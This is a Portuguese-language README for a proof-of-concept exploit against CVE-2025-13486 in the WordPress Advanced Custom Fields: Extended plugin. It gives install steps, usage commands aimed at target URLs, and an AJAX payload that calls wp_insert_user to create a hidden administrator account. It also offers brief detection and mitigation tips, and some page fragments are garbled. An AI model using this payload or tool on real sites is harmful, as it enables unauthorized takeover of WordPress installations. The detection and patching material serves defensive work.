
Advanced Custom Fields Extended (ACFE) WordPress Plugin Exploit RCE - Criação de Administrador
Exploit de prova de conceito para a CVE-2025-13486, uma vulnerabilidade crítica no plugin WordPress Advanced Custom Fields: Extended (ACFE) que permite a Execução Remota de Código (RCE) levando à Escalação de Privilégios.
| Aspecto | Detalhes |
|---|
| CVE ID | CVE-2025-13486 |
| Plugin | Advanced Custom Fields: Extended (ACFE) |
| Tipo | Execução Remota de Código → Escalação de Privilégios |
| Nível de Risco | Crítico |
| Versões Afetadas | Versões vulneráveis do ACFE (versões específicas a determinar) |
| Pontuação CVSS | 9.8 CRÍTICO |
| Data de Descoberta | 2025 |
| Autor | 0xgh057r3c0n |
⚠️ AVISO: Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais.
✅ Uso Permitido:
❌ Uso Proibido:
O autor não se responsabiliza por qualquer uso indevido desta ferramenta. Sempre obtenha autorização por escrito adequada antes de testar qualquer sistema.
print_rwp_insert_userrequests# Clone repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-13486.git
cd CVE-2025-13486
# Install dependencies
pip install requests
# Alternative: Install from requirements.txt
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
Crie um arquivo requirements.txt:
requests>=2.25.1
python3 exploit.py --url <TARGET_URL> [OPTIONS]
python3 exploit.py --url http://target.com --verify
python3 exploit.py --url https://target.com
python3 exploit.py --url https://target.com \
--user backup_admin \
--password "P@ssw0rd123!" \
--email [email protected]
python3 exploit.py --url target.com --verify
| Opção | Descrição | Obrigatório | Padrão |
|---|---|---|---|
-u, --url | URL do WordPress alvo | Sim | - |
--verify | Apenas verificar, sem exploração | Não | False |
--user | Nome de usuário personalizado para admin | Não | admin_XXXXX |
--password | Senha personalizada para admin | Não | 12 caracteres aleatórios |
--email | E-mail personalizado para admin | Não | [email protected] |
O exploit aproveita o tratamento inadequado de funções no endpoint acfe/form/render_form_ajax do plugin ACFE, permitindo que atacantes chamem funções PHP arbitrárias.
1. URL Validation → Auto-detects HTTP/HTTPS
2. Nonce Extraction → Scans page for ACF nonce
3. Payload Construction → Builds malicious AJAX request
4. Request Execution → Sends exploit to target
5. Result Analysis → Checks for success indicators
// Vulnerable code pattern in ACFE
$result = call_user_func_array($form['render'], array($form));
// Exploit payload structure
{
"action": "acfe/form/render_form_ajax",
"nonce": "extracted_nonce",
"form[render]": "wp_insert_user",
"form[user_login]": "attacker_user",
"form[user_pass]": "attacker_pass",
"form[user_email]": "[email protected]",
"form[role]": "administrator"
}
# Recommended security plugins
1. Wordfence Security
2. Sucuri Security
3. iThemes Security
4. All In One WP Security
# Server-level protections
- Implement rate limiting
- Enable mod_security rules
- Use Cloudflare or similar CDN
- Regular security audits
/wp-admin/admin-ajax.phpaction=acfe/form/render_form_ajaxwp_insert_user via AJAX# Apache logs
grep "admin-ajax.php" /var/log/apache2/access.log | grep "acfe/form"
# WordPress debug logs
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Por favor, reporte bugs e problemas através de:
CVE-2025-13486/
├── exploit.py # Main exploit script
├── README.md # This documentation
├── requirements.txt # Python dependencies
├── LICENSE # MIT License file
├── examples/ # Usage examples
│ ├── verification.txt
│ └── exploitation.txt
└── tests/ # Test scripts
├── test_verify.py
└── test_exploit.py
0xgh057r3c0n - Pesquisador de Segurança
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
Construído com ❤️ para a comunidade de segurança
⚠️ Use de forma responsável e ética ⚠️